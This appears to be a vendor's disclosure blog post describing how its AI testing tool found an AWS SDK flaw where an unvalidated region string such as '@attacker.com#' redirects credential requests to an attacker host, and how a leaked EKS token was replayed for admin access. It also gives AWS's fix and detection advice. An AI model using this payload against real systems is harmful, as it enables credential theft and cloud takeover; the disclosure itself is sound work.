Pi Found a Systemic AWS SDK Flaw. One Malformed Region Took Over a Security Vendor’s Production Cloud
We autonomously traced the vulnerability across six languages and 2,000+ packages, developed fixes, and proved it could be used to take over a security vendor’s cloud. AWS rated CVE-2026-22611 “low” severity.
Guy Arazi, Omaid Faizyar and Vishal Chauhan
24 August 2026·7 min read
What happened
During a proof of value, Pi made a prospect's application hand over live AWS credentials. It found the path on its own.
The fault was not in that prospect's code. It was in AWS's own SDK, and Pi found the identical flaw in seven of them, across six languages.
With written permission from a customer, a well-known security vendor, we used it to take over their production cloud infrastructure. AWS had rated the issue low severity.
We then found the same flaw live in dozens of other companies, several in the Fortune 500, and disclosed it to every one of them.
Why it matters
This is variant analysis. Give Pi one confirmed finding and it works out the shape of the defect, then finds every sibling in codebases and languages it was handed no rules for. One report became a class.
It is also why severity is not impact. The flaw AWS rated low is the same flaw that, with no privileges and no user interaction, returned administrator credentials inside a security vendor's production AWS account.
And Pi closed it in their own code twenty-six days before a patched SDK existed. You do not have to wait for a dependency you do not control.
7 SDKs, 6 languages
One behavioral anti-pattern, found by cross-language variant analysis across C# / .NET, JavaScript v2 and v3, C++, Swift, Rust and Go v2.
2,024 packages
The blast radius across NuGet, crates.io and npm. The JavaScript SDK alone is downloaded 2.3 billion times a week.
3.7 LOW → takeover
AWS scored CVE-2026-22611 low severity. The same flaw returned administrator credentials inside a security vendor's production AWS account, with nobody on their side doing anything.
Proof of value, and a credential leak
We were running Pi against a prospect's application during an authorized proof of value. No special setup, no map of where the bugs might be. Pi does what it always does: it explores an application the way an attacker would, autonomously, and reports what it can make the application do that it never should.
What it made this application do was leak AWS credentials. Pi found, dynamically, a path that drove the app into sending a credential request to a callback server we control. There is no legitimate reason a credential request should ever leave AWS. This one did.
Then we read the request that had landed on the callback. That is where the story stops being about the prospect.
The User-Agent that moved the bug
Every HTTP request carries a User-Agent. The one on our callback named the client that sent it: the AWS SDK, by name and version. The prospect had not written a credential-leaking bug. The prospect had called AWS through a library, and the library had built the request.
The SDK naming itself, down to the patch version, the language and the runtime. That is how we knew the defect was not in the application we had been hired to test.
That reframes the whole engagement. If the defect lives in the SDK, it is not one application's problem. It is a problem for every application that calls AWS the same way. So we pointed Pi at the SDK's own source and asked it one question: how can a caller ever steer an AWS request off AWS?
Root cause: a region becomes a redirect
The SDK builds the hostname it calls by dropping the caller's region string into a template. On the vulnerable paths, nothing checked that the string was actually a region. Pi found it in the source in minutes.
Set the region to @attacker.com# and the SDK assembles a string that reads like an AWS hostname to a person. A URL parser reads it differently: everything before the @ is treated as a userinfo field, everything after the # is a fragment and thrown away. The host that survives is the attacker's.
The payload
region = "@attacker.com#"the SDK builds: https://sts.@attacker.com#.amazonaws.comthe host a parser keeps: attacker.com
A region is meant to look like us-east-1. Nothing checked, so the request left for a host we chose.
No memory corruption, no exotic primitive. Just a string that a parser reads one way and a human reads another. And real products hand regions straight to SDK setup: region pickers, data-residency dropdowns built to satisfy compliance, tenant configuration passed through untouched. A dropdown built for compliance becomes the control that points AWS traffic wherever an attacker names.
Injecting the region through the product's own APIbash
No exploit toolkit. The product's own settings endpoint, with a hostname where a region should be.
Variant analysis in six more languages
One confirmed bug in one SDK raised the only question that mattered next: is this a single bug, or the shape of a mistake that also lives in places nobody has looked? We loaded the rest of the AWS SDKs into Pi and asked it to find out.
Pi abstracted the defect into a behavioral anti-pattern: outbound request construction with no host allowlist. Not a regex, not a syntax pattern, not a query rewritten once per language. A description of the behavior, which is exactly what lets it survive the jump between languages. Then it swept the other SDKs for that behavior.
It found the identical flaw in six more SDKs: C# / .NET, JavaScript v2 and v3, C++, Swift, Rust and Go v2. Different languages, different frameworks, different codebases, one flaw. Nobody wrote that bug that many times. A code generator did.
Every SDK is emitted from the same shared service models, and AWS generates clients for more than 400 services, one per service per language. A defect in the generator does not stay in one client; it ships wherever the generator reaches. Pi produced the anti-pattern and the candidate call sites; we then confirmed each affected SDK by hand, with real requests and real captured tokens, before anything went to AWS.
The novel part is not that a machine found a second instance. It is that a machine decided what the bug was, in terms that survive the jump between languages.
Severity does not equal impact
We reported to AWS. They moved fast, six days from report to the first committed fix, and they deserve the credit for it. They also rated the finding low severity: CVE-2026-22611, CVSS 3.7.
Two readings of one string. The last three fields are what make it a 3.7. The middle two say no privileges and no user interaction are required to get there.
A low severity score does not mean a low impact. This one scored 3.7 out of 10, and it put us inside a security vendor's production cloud with administrator privileges.
And it was not new. That unvalidated path shipped for roughly six years before we reported it. Six years of every product that let a user choose a region sitting one string away from this, inside a library nobody audits because it comes from AWS. We found it in October 2025. Nothing says we were the first to, and six years is a long time to assume we were.
Severity and impact are different measurements, and only one of them is about you. Severity rates the defect alone, by someone who has never seen your architecture, because the defect alone is all they were given. Impact is what that defect reaches once it is running in your environment.
That is how a 3.7 and a compromised cloud account end up describing the same bug, with nothing in the vector wrong. And it is the normal case, not the exception. Low and medium are where breaches live, because low and medium are what nobody schedules time to fix. So we stopped arguing about the number and went to find out what this one was worth.
Cloud takeover, with written permission
One of our customers, a well-known security vendor, gave us written authorization to test the flaw in their own environment. Both that engagement and the earlier proof of value were remediated and closed before this post went out.
Their workload ran in EKS. EKS turns a Kubernetes service-account token into AWS credentials through a call named AssumeRoleWithWebIdentity, and that call carries the service-account bearer token in the request body, in plaintext. Redirect an ordinary API request and you leak a signature. Redirect this one and you leak a bearer token: an identity, not the proof of a single request.
So we set the region and redirected the endpoint their SDK built, then watched the callback. For a few seconds it stayed quiet. Then a request landed: the AssumeRoleWithWebIdentity call, and in its body, in plaintext, the service-account token. We replayed it to AWS STS, and STS returned live credentials inside the vendor's production AWS account, with administrator privileges. IRSA on EKS, Cognito and OIDC integrations all make the same call.
Audience sts.amazonaws.com, issued by the cluster's own EKS OIDC provider, subject a Kubernetes service account. This is the workload's identity, minted to be exchanged for AWS credentials, and it arrived at us instead of Amazon. Every value that identifies the vendor is removed.
The whole chain was one redirected request and one replay. No credential was brute-forced and no perimeter was breached.
Then we closed it, and this is the part worth stopping on. There was no patched SDK to upgrade to. There would not be one for another twenty-six days. So Pi wrote the mitigation into the vendor's own code instead, validating the region at their boundary before it could reach SDK setup. They were protected weeks before the ecosystem had an answer, without waiting on a dependency they do not control.
And that vendor was not alone. The same flaw was live in dozens of other companies, several of them in the Fortune 500. We found each one, reproduced it, disclosed it and saw it fixed, and each got remediation guidance it could apply in its own code, in most cases well before there was a patched SDK to point it at.
The fix, written six times over
AWS's fix is a host-label check: letters, digits and hyphens, one to sixty-three characters, no leading or trailing hyphen, and the whole string has to match. us-east-1 passes. @attacker.com# is rejected before it ever reaches the hostname.
AWS's fix, JavaScript SDKjavascript
constVALID_HOST_LABEL=newRegExp(`^(?!.*-$)(?!-)[a-zA-Z0-9-]{1,63}$`);constisValidHostLabel=(value,allowSubDomains=false)=>allowSubDomains?value.split(".").every((label)=>isValidHostLabel(label)):VALID_HOST_LABEL.test(value);// Region resolution now rejects anything that is not a host label.if(!validRegions.has(region)&&!isValidHostLabel(region))thrownewError(`Region not accepted: "${region}" is not a valid hostname component.`);
Letters, digits and hyphens, nothing else. us-east-1 passes. @attacker.com# does not.
Because that validation lives inside each generated SDK rather than in one shared place, AWS had to hand-write the same check once per codebase, six times, over roughly three months. Python and Ruby already had it, and had for years, which tells you the check was always understood to be the SDK's job. JavaScript v2 is end of life, so it got an advisory and a migration path instead of a patch: seven advisories, six patches.
Language
SDK
Advisory
Patched version
Date
C#
.NET
GHSA-9cvc-h2w8-phrp · CVE-2026-22611
AWSSDK.Core 4.0.3.3
21 Nov 2025
JS / TS
v3
GHSA-6475-r3vj-m8vf
@smithy/config-resolver 4.4.0
15 Nov 2025
C++
C++
GHSA-j7mf-h2r7-6pq9
aws-cpp-sdk-core 1.11.685
6 Nov 2025
Swift
Swift
GHSA-pc9j-5v36-2mww
1.5.79
6 Nov 2025
Rust
Rust
GHSA-g59m-gf8j-gjf5
per-service crate
6 Nov 2025
Go
v2
GHSA-3jcv-796g-cpjg
per-service module
9 Jan 2026
JS
v2
GHSA-j965-2qgj-vjmq
none (EOL, migrate to v3)
8 Jan 2026
AWS credited our research in the acknowledgments of these advisories. The C++ and Go advisories resolve only at their repository-scoped security pages, not the global advisory index.
Coordinated disclosure, start to finish
Reported to AWS
14 Oct 2025
First fix committed
6d20 Oct 2025
Rust, Swift, C++ patched
×36 Nov 2025
JavaScript v3 released
JS15 Nov 2025
.NET released, CVE assigned
C#21 Nov 2025
Seven advisories, Go v2 lands
8–9 Jan 2026
The rule enters Pi's memory
no expiry
The bug spoke six languages. The rule that fixes it speaks one. Our proposed version puts the check into the shared model the SDKs are generated from, so it is written once, in the place the languages come from. And the anti-pattern went back into Pi's memory as a rule, so a pull request that reintroduces it is caught at review, not in next year's pentest.
Why now: more findings won’t make you safer
Finding vulnerabilities is no longer the hard part. Frontier models do it on demand, and models small enough to run on a laptop do it too. Detection is a commodity, and the supply of real, correct reports rises to meet it. What doesn’t scale is judgment: knowing which of those findings actually matter in your environment, and closing them without a human re-deriving the context every single time.
Key takeaways
A valid report is a sample, not the finding. If one instance is real, the same mistake is usually sitting somewhere nobody has looked. Pi works out the shape of a defect rather than its syntax, then sweeps every language you own for that behavior. You get the class, and one fix that closes all of it.
Severity is not impact, and only impact is about you. A score rates a defect in isolation, because that is all a scorer can see. Pi rates it where it runs, so you prioritize by what the flaw actually reaches rather than by a number assigned by someone who has never seen your architecture.
A fix that can be undone is not finished. Every class Pi closes becomes a guardrail it checks new code against, so the pull request that reintroduces the pattern is caught at review, not in next year's pentest. That matters more each month, because agents reproduce the patterns they were trained on faithfully, including the bad ones.
If you call AWS, there are two checks. Mitigation is a version: compare every resolved AWS SDK version against the table above, transitive ones included, because JavaScript v3 inherits the fix through @smithy/config-resolver rather than the SDK package you named. Detection is a string: a region or endpoint config value containing @, # or a dot is someone trying this on you, and so is an outbound AssumeRoleWithWebIdentity to any host that is not AWS.
Finding the bug is already free. Knowing where else it lives, and making sure it cannot ship again, is the job.
Pi Found a Systemic AWS SDK Flaw. One Malformed Region Took Over a Security Vendor’s Production Cloud
We autonomously traced the vulnerability across six languages and 2,000+ packages, developed fixes, and proved it could be used to take over a security vendor’s cloud. AWS rated CVE-2026-22611 low severity.